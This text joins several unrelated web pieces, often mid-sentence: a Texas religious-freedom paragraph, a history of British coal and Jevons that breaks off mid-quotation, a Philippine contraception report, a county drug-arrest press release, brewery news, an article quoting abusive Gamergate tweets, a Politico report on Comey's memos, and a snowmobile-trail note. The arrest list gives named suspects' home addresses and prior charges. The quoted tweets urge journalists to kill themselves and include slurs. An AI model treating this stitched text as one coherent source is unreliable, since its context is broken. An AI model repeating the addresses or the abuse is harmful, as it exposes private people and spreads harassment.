Freedom of religion is one of our most fundamental rights as Americans, protected in the Texas and U.S. constitutions and by state and federal statute. The existing Texas Religious Freedom Restoration Act (RFRA) bars government actions that “substantially burden” the free exercise of religion. Passed in 1999, this law has worked well to protect religious freedom for all Texans for 15 years. It includes carefully crafted provisions that prevent abuse of the law. Two state constitutional amendments proposed in the 2015 Legislative Session—SJR 10 by state Sen. Donna Campbell, R-New Braunfels, HJR 125 by state Rep. Matt Krause, R-Fort Worth—would sweep away this language. The broader language in these amendments would allow individuals and organizations to impose their personal religious beliefs on customers, employees, and patients who may not share them.In this post I’ll look back at history to show that Jevons correctly foresaw the fate of the British coal industry. In Britain a peak in production occurred around 1913 caused by increasing coal mining costs, lack of technological innovation, rising competition from abroad, a number of political decisions disadvantaging coal as a fuel source, declining profits, and a slump in British economic growth coinciding with World War I. Although geology had an important role to play in determining the cost of coal, it was not the overarching factor that led to the decline in British coal production. Fortunately for Britain, Jevons was too pessimistic about the economic consequences. He did not foresee both the adaptation of the British economy in reaching higher overall efficiency in a high energy price environment, and the eventual large scale introduction of petroleum.
In his book The Coal Question from 1865, William Stanley Jevons examined for how long the United Kingdom could continue to fuel its economy based on cheap supplies of coal. At the time the UK consumed about 93 million tons of coal, providing nearly all of its energy supply. His estimate was that within a maximum of a hundred years, or perhaps even within one or two generations, production would be in retreat due to an increase in the cost of mining which would, in Jevons' words, "Injure the commercial and manufacturing supremacy of England."
Jevons' analysis on British coal supplies
The analysis carried out by Jevons hinged upon two thoughts. First, he assumed that the consumption of coal would continue at a pace of 3.5% per year extrapolated from previous decades. Second, he expected that prices would become too high as mining progressed beyond 2,000 feet towards 4,000 feet of depth. From his calculations he found that an average mining depth of 2,000 feet would more than double the price of coal and that a further doubling could not be borne by the industry.
In his assessment he made the following astute observations that are still qualitatively valid for resource assessments today:
• “And, of course, when Mr. Vivian asserts that South Wales can supply all England for 500 years, he means at the present rate of consumption, which is quite beside the question. The question [of resource depletion] is, how long will South Wales supply us at the present price with the present growing demand?”
• “The higher the price rises, the more thoroughly will the coal-measures be worked, and the more coal becomes workable. As, however, the high price of coal constitutes the evil of exhaustion, the dreaded results are only somewhat mitigated, not prevented. And it would be wholly erroneous to suppose that when once the thicker seams of a coal district have been worked out, we can readily, at a future time, work out the thinner seams, when the increased price of coal warrants it”
• “All then that we can hope from thin seams, or abandoned coal, is a retardation of the rise of price after a considerable rise has already taken place. This will hardly prevent the evils apprehended from exhaustion… If seams of 18 inches are now occasionally workable, the coal-cutting machine may reduce the limit a few inches; but it is evident that seams of less than 12 inches could never be worked while the price of coal remained at all tolerable.”
• “When the general depth of coal workings has increased to 2,000 feet, little or no coal will be sold for less than 10s. per ton, and the choice large coal will have risen to a much higher price. Our iron and general manufacturing industries will have to contend with a nearly double cost of fuel. And when with the growth of our trade and the course of time our mines inevitably reach a depth of 3,000 or 4,000 feet, the increasing cost of fuel will be an incalculable obstacle to our further progress.”
British coal production and consumption
The development of British coal production, shown in figure 1 below, clearly shows production hit maximum in 1913, thereafter declining by around 2% per year on average until the late 1940s. The brief bump in production from 1947 until 1957 was caused by a nationalization of the coal industry. The government injected large sums of money into the sector in an attempt to revive it. The government's production targets were not reached however, and competition by the market made the effort unsuccessful. Subsequently, most of the government’s subsidies were abandoned in the 1960s. Market forces resulted in a rapid rise of oil imports fuelling domestic consumption for both transport and electricity production. After the discovery of oil off the Scottish coast in the 1970s there was even less economic incentive for coal mining. There was and is still a lot of coal remaining in the United Kingdom, but it has at least until present been too costly to get it out of the ground.
Figure 1 – British Coal Production 1830 - 1980. Source of data: Mitchell (1988)
Figure 2 – British Coal and Oil Consumption and GDP 1830 - 1965. Source of data: Mitchell (1988), Ryland et al. (2010)
Many authors have concluded that the fairly fuzzy peak in British coal production and other coal nations occurred for geological reasons, inferring that coal will behave the same as conventional oil does. Based on this expectation, logistic or Hubbert type models are applied to model “peak coal” in other regions and the world. For example, in figure 3 below from Hook et al (2010), a logistic fit is given to the coal production of three different countries. This approximation mainly based on geology appears to fit well but it is rough, and gives little insights in advance to what will happen, unless you know in advance how much coal will be extracted, which is precisely what is unknown as most countries data is quite poor. In other words, this curve fitting approach gives little information about how economic conditions will influence the amount of extractable coal, and, because of this, we are still in the dark about how production will really progress. Peak coal production forecasts based on present technology range from now until around mid century, depending on uncertain reserve and resource assumptions, as shown by Mohr and Evans (2009). Even more uncertainty is added when technology which is not yet commercial is included, such as underground coal gasification, and its use on offshore coal, as discussed in my previous post on underground coal gasification. These types of advances could lead to an expansion of the coal era.
Figure 3 - Logistic fit to UK, Germany, and Japanese coal production. Source of figure: Hook et al. (2010).
Looking at coal production from a productivity perspective
In the absence of good data, it is helpful to utilize a range of methodologies, and that is where we can learn a great deal from Jevons. He did not care precisely when coal would hit its peak as his concern was that a point would come when Britain no longer could afford to increase its extraction rate. To ascertain this he looked at geological combined with economic data. The same approach is valid today. We could look at the costs of each coal producing region and look at what we can afford to get out of the ground. How many labour hours, energy, mineral resources, and machines do we need to obtain a lump of coal? Can we afford to utilize so many resources for those purposes? Only few analyses are available in this regard, one of which was made in 2009 for Gilette the largest coal field in the United States.
To show that Jevons' methodology made a great deal of sense, I compare a number of statistics. First, in figure 4 below, the production and consumption of coal in the United Kingdom is shown, the difference being caused by exports to mainly the European mainland. The data shows that consumption of coal peaked a little bit later than production as the end of World War I neared. After the war, the British economy declined for a number of years after which growth returned with occasional one to two-year recessionary bumps until the second world war, which similar to the first, coincided with a substantial economic decline. No increase in coal consumption fuelled the inter-war expansion, however, plausibly due to an earlier oversupply, the switch from coal to oil of the British navy after World War I, and an increase in efficiency of British manufacturing and household energy use. Singer (1941) states that:
“We conclude that over the eleven years from 1924 to 1935 the increase in the efficiency of the use of coal- which must in these cases be attributed to direct economy - led to a fall in relative coal consumption by some 38 million tons or 28 per cent of what total industrial consumption would otherwise have been. This is equivalent to a fall, through direct economy and substitution, of 3.0 per cent per annum. It is clear that the 1924-35 period must have played a leading part in the relative fall in coal consumption, which was at the rate of 33 per cent in the last twenty-five years (Singer 1941, p. 170).”
Figure 4 – Production and Consumption of coal in the United Kingdom 1830 - 1980. Source of data: Mitchell (1988)
The absence of a domestic need to substantially increase coal supplies coincided with reduced demand for coal exports because of competition from other regions. One region that was especially important in the decline of British exports was the German Ruhr area, where there was an increase in coal production at lower cost due to greater productivity. In addition due to post World War I reparations under the Dawes Plan, Germany would export coal for free to France and Italy as a form of repayment of war damage, at a large disadvantage to Britain. As a result, by the late 1930s, Britain ceased to be a meaningful exporter of coal. Thus the decline in British coal production after 1913 reflected a combination of factors, including both reduced internal demand (from both recession following World War I and from increased efficiency) and reduced demand for exports. If circumstances had been different (for example, greater technological innovation in British coal mining), the peak in British coal production would probably have been postponed substantially.
The increase in British coal production since the 1860s, the time of the Jevons coal question, was not caused by an increase in productivity but by employing more labour in the industry. From 1865 until 1913, the mumber of people working in coal mines rose by a factor of 3.5 from 315.000 to 1.13 million people, shown in figure 5. Roughly 2.5% of the population was employed in 1913 to haul coal out of the ground and cut it into usable pieces. In the same period productivity declined from around 0.14 to 0.11 tons of coal mined per hour of labour, shown in figure 6. The reason of the decline in amount of coal mined per hour can be explained from the absence of technological innovation combined with the need to mine increasingly deeper and thinner seams as foreseen by Jevons. About this issue Taylor (1961) remarks:
“…by the 1880's in all but the smallest collieries the steam-engine was in use both above and below ground and its benefits were being felt throughout every coalfield. By comparison with this earlier period the years between 1880 and 1914 have less to show in terms of technological achievement. Improvements were constantly effected in shaft and underground haulage and steam-power gradually gave place to electricity, but none of these changes was by nature or consequence of a revolutionary character. Potentially the most far-reaching innovations of these years were those affecting work at and near the face - involving the introduction of the coal-cutter and the conveyor - but progress in these directions was very limited. As a workable mechanical novelty the coal-cutter was already in existence before 1880, yet as late as 1913 only 8.5% of British coal was mechanically cut and an even smaller proportion was mechanically conveyed (Taylor 1961, p. 59).”
Figure 5 – Employment in the British Coal Industry from 1854 - 1960. Source of data: Mitchell (1988)
Figure 6 – Labour Productivity in the British Coal Industry from 1854 - 1960. Data calculated based on: Mitchell (1988), Greasley (1990)
The peak hence occurred because the number of employees could not rise sufficiently as productivity declined. This was aggravated by the temporary loss of employees that were drafted into the army during the first world war, as clearly shown in figure 5. The inability to attract new employees occurred because British mines could not afford to pay a competitive wage and, at the same time, keep the cost of the coal they sold competitive on the international market. British coal prices increased to unseen heights, as shown in figure 7, and the country could no longer compete with coal producers abroad. Data shows that after 1910 British productivity on average was overtaken by Germany, by 1925 it was 6.8% higher, and by 1935 Germany produced 23.6% more coal than Britain in terms of labour output per hour (Broadberry 1998). The coal in Britain became too expensive versus that in other markets and exports dropped.
Figure 7 – The price of British coal from 1450 to 1988. Source: Hausman (1995)
The lack of proper wages in the face of rising costs of living was so severe that most of the coal industry went on strike in 1921 and 1926, resulting in losses of output of respectively 30% and 50%. The economic situation is described well in Wynne (1913):
“The consequence is that the proceeds of a given output of coal which before the war supported six men had in 1925 to provide a living for seven. The price of coal in the market had not meanwhile risen to the same extent as wage costs per unit of output, and in the period September, 1924, to March, 1925, over 41 per cent of the total output of the British mines was raised at a loss. By May, 1925, this figure had risen to nearly 67 per cent, and during the last quarter of 1925, to 73 per cent, the loss ranging in this latter period from an average of only 2 pennies a ton in the eastern division to 3 shillings and 2 pennies per ton in South Wales and Monmouth, with an average of is 5 pennies a ton for the country as a whole. (Wynne 1913, p. 356-366)”
Earlier in 1919, the work day had already been reduced from 8 to 7 hours underground under increasing pressure by coal unions, further decreasing the amount of output the coal industry could potentially sustain. This caused a further decline in productivity versus other coal producers whose work day was slightly longer than the British. The only option left to solve the imminent situation was to close a large number of unproductive mining areas, raise the wages, and thereby further the decline in production during the 1920s. The move resulted in a rise in productivity, shown in figure 6, but it was too late. Britain as discussed by Taylor (1961) had already fallen behind other producers in implementing the technological innovations, which further contributed to the downfall of the British coal industry. The reason was the conservative nature of the British industry:
“Electricity was looked upon with mistrust by many mines-inspectors until the Home Office Departmental Committee of 1904 expressed opinions favourable alike to its efficiency and to its safety when properly employed; but stringent safety regulations, as well as the conservatism of British mine owners and engineers, retarded the employment of electricity in British mines when it was already widely used in the coalfields of Germany and Belgium. Moreover, as in the use of machinery, the explanation of the shortcomings of British mining lay outside the industry as well as within it. 'Manufacturing electrical firms', it was said, 'do not care for colliery work in this country. They are able to obtain plenty of work in other directions’ (Taylor 1961, p. 59)."
Britain missed the boat and began innovating at too late a date. The rise in productivity since the 1920s, as depicted in figure 6, could do no more than keep production declines at bay. The absence of substantial technological achievements, the increasing cost of coal production, and the rising competition from abroad led to a substantial drop in coal production.
The result of Jevons' publication
Since history unfolded more or less as Jevons expected it, at least for coal, we now know his study had little effect on altering the UK's energy future. Interestingly the coal question was taken seriously quite soon after publication. As a result of Jevons' book, Gladstone, the chancellor of the Exchequer at the time and later prime minister of Britain, commanded a royal commission to examine the coal question in depth and rigour in 1866. The report of the commission took five years to complete and was presented as a three volume work to both houses of Parliament and the Queen of Britain. Its conclusion confirmed the analysis of Jevons, but disagreed with one important point, the extrapolation of past coal consumption:
“The results as summed up in the report to the Queen strikingly confirm the soundness of most of the conclusions arrived at by Professor Jevons, except so far as regards his estimate of the duration of the coal supply. Which, having in view the rapid increase of consumption which had continued up to that time |
. “The law recognizes the poor need assistance,” she said. “A mother has to make a choice of which of her kids are going to eat a meal today. This law will change their lives so drastically.”
Delovino, the mother of seven, said she would have only had three children if she had access to free birth control. However, the cost of the pills, 50 pesos ($1.25) per month, is just too much for her.
“I’d rather put it towards food so the kids can eat,” Delovino said.
The lack of free contraception has taken a toll on maternal health, according to experts. The Philippines isn’t on track to meet the UN’s Millennium Development Goal of reducing maternal deaths from 162 per 100,000 in 2006 to just 52 deaths per 100,000 women by this year. The UN Population Fund’s director for the Philippines, Klaus Beck, is hopeful the new law will change things.
“Each family would have fewer children and more space in between them, so women will be healthier,” he said. “As they have fewer pregnancies, they are less likely to become sick from that, and fewer women will die in pregnancy as well.”
Many maternal deaths in the Philippines are due to unsafe, underground abortions — the country has one of the strictest abortion laws in the world. It’s illegal under all circumstances, including rape, and there’s no clear exception even when the pregnancy jeopardizes the woman's health.
A lack of subsidized contraception has drastically increased abortion rates. There were an estimated 610,000 abortions in the Philippines in 2012, an increase of 50,000 from four years earlier.
Outside Manila’s crowded Quiapo Church, women can walk through alleyways to find traditional healers who sell bottles of colorful herbal liquids and use painful massage to induce abortion. These methods can cause life-threatening hemorrhage or other dangerous health problems.
With limited post-abortion care and a stigma surrounding abortion, many women have nowhere to turn after complications, and they are often ridiculed or shamed when they seek medical help. But the new law stipulates that women needing post-abortion care will receive proper treatment and counseling.
When Ruzel Delovino became pregnant for the fifth time, she didn’t know how she could possibly feed another child.
“It came to a point where the babies were coming one after another. I wanted an abortion, because I was thinking, would I be able to take care of the baby?”
A devout Catholic, she went to church to pray, and she talked to a priest. He advised her against the abortion.
“Because I was so afraid that it’s a sin to kill an innocent unborn child, I just went through with it, even though I was already struggling,” she said. “I chose to keep the baby.”
After Delovino had her seventh child three years ago, a community health worker from a local NGO’s clinic happened to visit her home. The clinic had a limited supply of free contraceptives, and Delovino was able to get an intrauterine device (IUD), which prevents pregnancy for several years.
Though she’s not worried about getting pregnant anymore, her daily struggle to get enough rice for her kids doesn’t end.
Sonia Narang reported from the Philippines with support from the International Reporting Project. This story is cross-posted with our partners at the GroundTruth Project and GlobalPost.Rockland County District Attorney Thomas P. Zugibe today announced the filing of criminal charges against 18 individuals for allegedly selling heroin, cocaine, Oxycodone and other highly addictive pharmaceuticals, as well as marijuana, in Rockland County.
Over the past several months, Zugibe said, the Rockland County Drug Task Force targeted numerous locations in the towns of Haverstraw, Clarkstown, Orangetown, Ramapo and Stony Point, including downtown areas in the villages of Spring Valley, Suffern and Haverstraw. Open-air drug transactions were conducted in each of the towns and villages.
"This sweep is yet another step in our continuing campaign to stop illegal drug dealing and drug-based violence in Rockland County," he said in a prepared statement. "These 18 arrests underscore our commitment to continue to work to improve the quality of life for all of our residents."
The defendants range in age from 21 to 48.
They are charged with selling prescription drugs, cocaine and heroin to undercover police officers on separate occasions in 2015. The open-air drug transactions have led to state and federal arrest warrants and indictments for criminal sale and criminal possession of controlled substances and conspiracy to distribute narcotics.
16 of the 18 defendants have prior criminal histories for weapon charges, sale and possession charges, assault charges, petit larceny, criminal mischief, criminal trespass, attempted murder, animal abuse, obstruction of government administration, burglary, robbery and tampering with evidence charges, he said.
According to the charges, one of the distribution sites was the Ligia Peluqueria Unisex Barber Shop in Spring Valley. At this location, Roberto Bueno, also known as "Cowboy," allegedly peddled over 200 grams of powder cocaine and crack cocaine. One of his alleged associates, Anthony Rodriguez, is accused of distributing over 100 grams of powder cocaine at this same barber shop.
Another Spring Valley site was the home of Joseph Duran-Guzman, who allegedly sold over 100 grams of heroin from 28 East Hickory Street.
Officers executed seven court-authorized search warrants in the towns of Ramapo, Haverstraw, Stony Point and in the Village of Spring Valley.
The DA's office said:
Members of the Drug Task Force, along with Haverstraw Police and federal agents, executed warrants for Joseph Fucci of 47 Main Street, Haverstraw. The probe into Fucci uncovered alleged firearms sales and led to the seizure of 95 grams of powder cocaine. The warrants also resulted in the seizure of drug paraphernalia and distribution material for marijuana wax, crack cocaine and powder cocaine. The latest arrests are a collaborative and coordinated response to open-air drug dealing complaints to our local municipalities including the towns of Haverstraw, Clarkstown, Ramapo, Orangetown, Stony Point, the villages of Suffern, Spring Valley and the Intelligence Led Policing and Prosecution Center. Additional resources that have been instrumental to local drug-fighting organizations include the FBI, the New York City Police Department, the U.S. Drug Enforcement Administration's (DEA) New York Organized Crime Drug Enforcement Strike Force and DEA's Tactical Diversion Squad-New York, the Department of Homeland Security, the Department of Alcohol, Tobacco, Firearms and Explosives and the New York State Police Troop F – Haverstraw K-9 Unit. The Rockland County Drug Task Force recognizes the valuable partnership it shares with state and federal law enforcement agencies. These collaborative efforts provide tremendous resources to Rockland County's drug-fighting organizations, including intelligence and analytical mapping.
ARRESTED
Name: Roberto Bueno, 174 Ramapo Road, Garnerville, NY 10923
Drug Sold: Cocaine, Crack/Cocaine
Prior Charges: Agg. DWI, DWI 1st
ARRESTED
Name: Joseph Duran‐Guzman, 28 East Hickory St, Spring Valley, NY 10977
Drug Sold: Heroin, Cocaine
Prior Charges: No prior charges
ARRESTED
Anthony Rodriguez, 604 Kennedy Dr, Spring Valley, NY 10977
Drug Sold: Cocaine
Prior Charges: CSCS 2nd, CPCS 3rd, CPCS 7th
ARRESTED
Name: Jarrett Corsino, 22 Tea Place, Tappan, NY 10983
Drug Sold: Cocaine
Prior Charges: No prior charges
ARRESTED
Name: Tyrell Francis, 109 Fred Hecht Drive, Spring Valley, NY 10977
Drug Sold: Crack/Cocaine, Heroin
Prior Charges: Torturing or Injuring animals, for amusement or gain to engage in fighting, resisting arrest, obst. Of Govt. Administration, disorderly conduct, robbery 1st, robbery 2nd
ARRESTED
Name: Yomalbi Jimenez, 5 Conklin Avenue, Haverstraw, NY 10927
Drug Sold: Cocaine
Prior Charges: CPCS 2nd
ARRESTED
Name: Elom Kaldezi, 49 Snowdrop Dr, New City, NY 10956
Drug Sold: Oxycodone
Prior Charges: CPCS 3
ARRESTED
Name: Alvin Carbuccia, 1423 Noble Avenue, Apt 5, Bronx, NY 10472
Drug Sold: Cocaine, Marijuana
Prior Charges: Att. Murder, Crim. Use Fireman 1st, CPW 4th, CSM 4th, CPM 5th, Assault 2nd
ARRESTED
Name: Jamie Vega, 9 Oak Place, Sloatsburg, NY 109+74
Drug Sold: Heroin
Prior Charges: CPCS 4th, CPCS 7th
ARRESTED
Name: Rolando Garcia, 182 Ramapo Rd, Apt F, Garnerville, NY 10923
Drug Sold: Prescription Drugs
Prior Charges: CPW 4th, CPCS 7th, CPCS 3rd, Resisting Arrest, Tampering w/ Physical evidence
ARRESTED
Name: Paris Powell, 29 Hopf Drive, Nanuet, NY 10954
Drug Sold: Crack/Cocaine
Prior Charges: CPCS 7th, DWI 2nd, CPCS 3rd, CSCS 3rd, CPCS 5th, Drug Paraphernalia, CPSP
ARRESTED
Name: Joseph Fucci, 47 Main Street, Garnerville, NY 10923
Drug Sold: Cocaine, Marijuana, Firearms
Prior Charges: CPCS 3
ARRESTED
Name: Donny Santana, 60 Broad Street, Haverstraw, NY 10927
Drug Sold: Cocaine
Prior Charges: Obst. Government Admin 2nd, CPM 5th
ARRESTED
Name: Ryan Kirsch, 27 Lackawanna Trail, Suffern, NY 10901
Drug Sold: Marijuana
ARRESTED
Name: Kevin Manso, 3856 10th Ave, Apt 43, New York, NY 10034
Drug Sold: Prescription Drugs
Prior Charges: Conspiracy 4th, CSCS 3rd, CPCS 5th, CPCS 7th, UPM, CPW 4th, CPM 1st
ARRESTED
Name: Victor Martinez, 3812 Bonniville Circle, Raleigh, NC 27604
Drug Sold: Crack/Cocaine
Prior Charges: CPCS 3rd, CSCS 3rd, CPCS 5th, CUDP 2nd, UPM, CPCS 7th, Unlawful Dealing With Child 1st
County Court Active Warrant
Name: Kristopher Crayton, aka: Dollar, 150 19 119th Street, Jamaica, NY
Drug Sold: Cocaine
Prior Charges: CSCS 3rd – 3 cts, CPCS 3rd – 3 cts
County Court Active Warrant
Name: Damond Corey Vaughn, 61 Wall Street, West Haverstraw, NY, 10993
Drug Sold: Crack/Cocaine
Prior Charges: Conspiracy 4th, CPW 4th, UPM, Assault 3rd,By
This past July, the Charlotte Business Journal reported that Sycamore Brewing was looking to move into a space at 2161 Hawkins Street, in Charlotte’s SouthEnd area. The brewery’s founders, Justin and Sarah Brigham, announced today that they have signed a lease for that space. They are shooting for a late spring or early summer opening.
The building is back behind Atherton Mill, a little less than half a mile from the light rail’s East/West Station just off South Boulevard.
“The space itself is really unique,” said Justin Brigham. “After walking what feels like countless industrial sites for over a year, nothing else compared to this building.”
The building was built in 1959 and first used as an automotive garage. Some of the features the Brighams are most excited about are 18-foot ceilings, time-worn concrete floors and two huge garage doors on the side. The building sits on a little more than an acre and a half, which will allow for ample parking and an outdoor beer garden. Inside, the 8,400-square-foot space will hold the brewery itself as well as a taproom, a private events space and a room to house the brewery’s barrel-aging program.
Sycamore has not committed to brewing any specific beers or styles yet, but they will be changing their tap lineup frequently to keep things fresh. They will be purchasing a 15-barrel brewhouse for the new space.
“Beer should be fun and we’re not afraid to push boundaries and challenge perspectives,” said Justin. “Expect some tasty classic styles and seasonals but also expect some creative, off-the-wall recipes.”
One of the things that kept pulling the Brighams back to that building was the neighborhood that surrounds it.
“South End is the perfect neighborhood for an independent business like our brewery,” said Justin. “All of the old industrial buildings (some renovated, some not) give it so much character and personality. To us, South End represents the changing face of Charlotte, and we look forward to becoming part of that exciting, dynamic community.”
In addition to building out the brewery, Sycamore will have to invest in streetscape improvements as required by the city of Charlotte.
“It is a substantial financial investment for a start-up business, but we believe that our brewery and the community will benefit from the improvements,” said Justin.
To follow Sycamore Brewing’s progress as they build their brewery, check their website and follow them on Facebook and Twitter.Gawker Media has long been one of Gamergate’s favorite villains, and so it’s hardly surprising to see Gamergaters celebrating Gawker’s legal defeat at the hands of former wrestler and very large human Hulk Hogan.
It was a doozy of a defeat, with Gawker Media ordered to pay $115 million to Hogan for posting a sex tape featuring the ex-wrestler and the wife of a friend whose legal name is Bubba the Love Sponge.
On Twitter, Gamergaters cackled like the cartoon villains they are, posting schadenfreude-laden photoshops, ridiculous gifs, rape jokes, and the occasional request that Gawker employees die.
HULKAMANIA RUNNING WILD IN COURT! GAWKER SENTENCED TO PAYING 115 MILLION IN DAMAGES#GamerGate pic.twitter.com/HHDYAat3Pg — ACRA (@ArsCortica) March 18, 2016
>mfw #Gawker has to pay 450 dollaridoos of punitive damages to Hulk Hogan#Gamergate pic.twitter.com/0mwp0hclAm — Genocidal Rapist (@KusanagiFurfag) March 20, 2016
Hey Gawker how does it feel u sons of bitches? U and those feminist Nazis of Jezebel will be paying through the nose haha! Die! #GamerGate — Orlando_223 (@Orlando_223_) March 19, 2016
One Tweeter brought back this familiar face.
While the celebration comes as no shock, what is a little surprising is how many Gamergaters have leapt up to claim some kind of credit for a legal victory they had absolutely nothing to do with.
Death to Gawker. #gamergate just claimed a victory against a major opponent that slandered the movement for years. — Death To Gawker (@flowerpower2025) March 19, 2016
Hulk Hogan just effectively bankrupted the sleezy clickbait site Gawker. Thats what you get for messing with #gamergate — Death To Gawker (@flowerpower2025) March 19, 2016
I believe #GamerGate deserves another round of #OpSKYNET in light of our victory over #Gawker. Stay connected! pic.twitter.com/Gha8zSTrlk — RedbobBackUpAccount (@RedbobBackup) March 19, 2016
One Gamergate critic summed up the situation with a handy pic:
Gamergate on the Gawker case right now pic.twitter.com/VlhN294aeH — Sol Birdguy (@ZombieAteMySock) March 19, 2016
There were, to be sure, some Gamergaters who were willing to share credit with Hogan, seeing Gamergate as part of a some sort of Media Ethics tag-team.
#Gamergate hurt Gawker. Hulk Hogan finished the job. 115 million dollars fine for commercializing being hypocritical asshole and crybully. — Eriko Wedinopoulos (@Aktivarum) March 19, 2016
#GamerGate struck the first blow and @HulkHogan delivered the final leg drop. Congrats and thank you Hulk. — Zanbon (@ZanbonSen) March 19, 2016
Well, GG Gawker.
But #gamergate won, in probably the best tag team to tackle ethics in journalism. — Cloudy Minou (@Ynayesta) March 18, 2016
#Gawker dead
Reputation of corrupt journos destroyed.
Gaming journalism changed forever.#gamergate are pretty annoying antagonists huh? — Cloudy Minou (@Ynayesta) March 19, 2016
Demonstrating the keen sense of ethics she has evidently learned from Gamergate, Minou took a moment off from her celebration to suggest to one games journalist and longtime Gamergate target that he kill himself.
A simple solution, try bleach. @Vahn16 — Cloudy Minou (@Ynayesta) March 18, 2016
One Gamergater and taco enthusiast offered a rather different take on the relationship between Hogan and the heroes of Gamergate.
conspiracy theory or conspiracy fact: The Hulkster covertly funded GamerGate as a proxy war to soften up Gawker https://t.co/UJ8c7hJ0vE — MAXIMUM FUCKIN TACOS (@TerrorTacos) March 19, 2016
Obviously, there are numerous Gamergaters who are sufficiently connected with reality that they can see that, no, they had nothing whatsoever to do with Hogan’s lawsuit, or the verdict, or the massive judgement. But the victory-claimers had retorts ready for these unbelievers.
Those claiming #GamerGate had nothing to do with Gawker: Arguing with you ideologues is pointless. Gawker is burning and that's what matters — ✘Delicious Polonium✘ (@osc4x) March 19, 2016
Don't let anyone say #GamerGate didn't help make this happen. If they didn't get rid of Gawker's ads they could brush this off. #hulkvsgawk — Artivous Ira (@ArtivousIra) March 19, 2016
But wherever they stood on the issue of just who was responsible for this glorious victory, Gamergaters seemed to agree on one thing: Gawker employees deserve to suffer for the poor decisions of their bosses.
Gawker has died… Hallelujah.https://t.co/M0OuBAy1X6 I don't pity your employees. They had a chance to escape.#Gamergate — Girl in Vermillion (@HereticOfEthics) March 19, 2016
I've felt a disturbance in the Force…as if Gawker employees were crying out in fear of this man pic.twitter.com/UX0id5PF8Z #Gamergate — Anti-Safeguard Killy (@anti_killy) March 19, 2016
Other Gamergate ethicists suggested that Gawkerites just go ahead and kill themselves.
Are you working for Gawker et al?
Don't forget to put this on your speedial.
Save yourself.#hulkvsgawk#GamerGate pic.twitter.com/der5sq4DWa — Homer Ruglia Beoulve (@ramzaruglia) March 19, 2016
All these Gawker media 'journalists' have me blocked for two years. They'll be blocked from a paycheck.
#GamerGate pic.twitter.com/t80eoScXq0 — Agorist Polwright (@AgoristArtist) March 19, 2016
It’s about ethics in telling journalists to kill themselves.
I hardly need to point out some of the blatant hypocrisies here. Gamergate wants Gawker Media destroyed over a sex tape. Meanwhile, Gamergaters posted nude photos of Zoe Quinn all across the internet; they also sent them directly to Quinn’s relatives. Gamergate did much of its early organizing on 4chan, before moving on to 8chan; both sites have reputations as havens for the trading of child porn.
Reddit, which hosts gamergate hub Kotaku in Action, has also been used to distribute child porn and stolen celebrity nudes; the site’s admins were glacially slow in taking action against both problems. Yes, Gawker’s posting of Hulk Hogan’s sex tape was sleazy and wrong and damaging. But 4chan, 8chan, and Reddit have done far more damage to a much larger group of victims. If Gamergate were as concerned as they pretend to be about “revenge porn” — or any kind of porn that is made and/or distributed without the consent of those in it — why are they not trying to shut down — or radically reform — Reddit or 8chan?
That is of course a rhetorical question.
Let me leave you with the creepiest tweet I ran across while writing this post. Once again, here’s Milo:
EDIT: I removed several tweets that turned out to be from a troll account.
EDIT 2: And one more.
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Like this: Like Loading...poster="http://v.politico.com/images/1155968404/201706/3207/1155968404_5464708695001_5464688298001-vs.jpg?pubId=1155968404" true Marc Kasowitz, President Donald Trump's outside counsel, is pictured in 2005. Trump's lawyer attacks Comey for disclosing content of memos
President Donald Trump’s outside counsel on Thursday attacked former FBI Director James Comey for disclosing the content of memos he kept of his conversations with Trump and said the White House will let the authorities determine whether to investigate the ousted FBI chief.
Marc Kasowitz said in a statement following Comey’s testimony before the Senate Intelligence Committee earlier Thursday that he “admitted” to sharing the contents of the memos to a personal friend, who then leaked it to the press. It’s unclear if such a disclosure would be a violation.
Story Continued Below
“Today, Mr. Comey admitted that he unilaterally and surreptitiously made unauthorized disclosures to the press of privileged communications with the president,” Kasowitz said. “We will leave it to the appropriate authorities to determine whether these leaks should be investigated along with all those others being investigated.”
Comey, who kept notes after his interactions with the president, told lawmakers that he shared memos with a friend, with the idea that such a disclosure could lead to a special prosecutor.
“My judgment was, I need to get that out into the public square. I asked a friend of mine to share the content of the memo with a reporter.” Comey said. “Didn’t do it myself for a variety of reasons. I asked him to because I thought that might prompt the appointment of a special counsel.”
In his statement, Kasowitz maintained that Comey’s testimony “finally confirmed” what Trump has said: that he is not personally under investigation by the FBI, which is looking into possible collusion between Trump associates and Russian officials during the presidential campaign.
Kasowitz said Trump “never sought to impede the investigation into attempted Russian interference,” “never, in form or substance, directed or suggested that Mr. Comey stop investigating anyone” and “never pressured Mr. Comey,” directly contradicting Comey’s testimony.
In a written statement released Wednesday afternoon, Comey detailed multiple occasions in which he interacted with the president, beginning with a Jan. 6 briefing at Trump Tower and ending with an April 11 phone call.
Comey alleged that Trump had pressured him to drop an investigation into former national security adviser Michael Flynn and asked him for his loyalty. Kasowitz argued, however, that Trump never demanded Comey’s loyalty and suggested Comey leaked memos as revenge for his abrupt dismissal.
“Of course, the Office of the President is entitled to expect loyalty from those who are serving in an administration, and, from before this president took office to this day, it is overwhelmingly clear that there have been and continue to be those in government who are actively attempting to undermine this administration with selective and illegal leaks of classified information and privileged communications,” he added.
Trump had ominously hinted at “tapes” of his conversations with Comey, warning in a tweet last month that Comey “better hope” none exist before he starts leaking to the media. White House aides have been unable to confirm whether a secret recording device or system exists in the Oval Office, with deputy press secretary Sarah Huckabee Sanders telling reporters on Thursday she has “no idea.”
Comey told lawmakers, “Lordy, I hope there are tapes,” later explaining that the tweet sparked a thought to leak his memos.
“Although Mr. Comey testified he only leaked the memos in response to a tweet, the public record reveals that the New York Times was quoting from these memos the day before the referenced tweet, which belies Mr. Comey’s excuse for this unauthorized disclosure of privileged information and appears to entirely retaliatory,” Kasowitz said.
Trump’s “tapes” tweet came on May 12. The New York Times reported on Comey’s Trump-Flynn memo on May 16, although the newspaper also reported on May 11 that Trump had demanded Comey’s loyalty. The May 11 report, however, made no mention of any memos.Late December snow makes it likely that a good base will develop for snowmobiling throughout this winter. A new 13-mile snowmobile (and hiking, possibly biking) trail has been established, a so-called community connector trail between the Moose River Plains Road (Limekiln-Cedar River Road) and Raquette Lake.
Nearly a dozen alternate locations for this trail were included in the Moose River Plains Wild Forest Unit Management Plan approved by the NYS DEC and APA in 2011. One was chosen as the preferred alternative, deemed most in compliance with the state’s Snowmobile Trail Guidance approved by DEC and APA in 2010. The new trail is nearly completed as it reaches the north end of Sagamore Road near Raquette Lake village, utilizing DEC operations and other staff pulled in from all over the state. Adirondack Wild: Friends of the Forest Preserve investigated the trail construction in mid-October.
